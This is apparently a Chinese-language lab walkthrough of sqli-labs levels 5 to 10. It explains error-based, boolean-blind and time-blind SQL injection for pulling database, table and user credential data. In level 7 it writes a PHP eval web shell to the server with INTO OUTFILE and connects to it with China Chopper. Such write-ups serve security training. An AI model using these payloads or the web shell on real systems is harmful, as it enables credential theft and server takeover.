第五关
一.打开靶场进入less5,由页面可知参数仍为id,首先判断参数类型是字符型还是数字型,然后判断闭合类型,通过注释符--+跳出原有命令
二.判断字段列数,order by 3时页面正常显示 order by 4 时页面报错,证明字段列数为3
三.测试页面回显时发现页面并不能回显,这是我们可以试试报错注入
四.执行updatexml命令,updatexml函数有三个函数updatexml(1,1,1),我们要用第二个函数执行下一步与命令-添加concat函数updatexml(1,concat(1,1),1)同时我们要使用concat函数的第二个参数执行下一条命令-查询数据库名updatexml(1,concat(1,(select database())),1)
五.得到数据库名后我们可以通过查询命令select group_concat(table_name) from information_schema.tables where table_schema='security' --+以及select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+得到数据库的数据
六.最后通过命令select group_concat(username,password) from users,但发现页面的显示不全,所以结果只能一行一行看,因此实际输入命令为 select username/password from users limit x,1
第六关
与第五关的流程基本相同,就是参数跳出函数的方式是双引号
第七关
一.打开靶场进入less5,由页面可知参数仍为id,首先判断参数类型是字符型还是数字型,然后判断闭合类型,通过注释符--+跳出原有命令,经过尝试最后得到的闭合方式为'))
二.通过命令order by 判断列数
三.因为靶场要求我们通过外部的文件注入,所以我们需要导入一句话木马?id=-1')) union select 1,2,'<?php @eval($_POST['cmd']);?>' into outfile "E\phpstudy_pro\WWW\sqli-labs-master\Less-7\1.php" --+
四.虽然页面报错,但是文件已经存入到文件夹中
五.最后使用软件中国菜刀进行连接
第八关
一.打开靶场进入less8,由页面可知参数仍为id,首先判断参数类型是字符型还是数字型,然后判断闭合类型,通过注释符--+跳出原有命令,发现只有数字后面是单引号的时候页面报错,所以此靶场参数的闭合方式为‘
二.通过输出命令发现页面没有回显的位置,只有一种显示方式,因此我们要用到布尔盲注,通过命令length(database())来判断数据库的长度
三.通过命令ascii(substr(database(),1,1))对数据库的每一个字符进行ascii值的判断再通过查询ascii表来得出数据库的名字
四.
五.得到数据库名之后再通过命令 ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,1),1,1))得到数据库里的每个表名,以此类推得到表里的每个类名,最后得到表里所有的数据
第九关
一.打开靶场进入less9,由页面可知参数仍为id,首先判断参数类型是字符型还是数字型,然后判断闭合类型,通过注释符--+跳出原有命令,但无论怎么调整闭合方式页面的显示只有一个,因此我们可以通过查看less9的PHP文件,来得到闭合方式为'
二.因为不管输入什么命令页面都只有一个回显,这时我们就不能使用布尔盲注,而是使用时间盲注
三.和布尔盲注流程一样,先判断数据库长度
四.然后通过命令if(ascii(substr(database(),1,1))>x,sleep(3),1)对数据库的每一个字符进行ascii值的判断再通过查询ascii表来得出数据库的名字
五.后面的流程就和第八关一模一样了
第十关
一.第十关只有闭合方式为",其他流程和第九关一样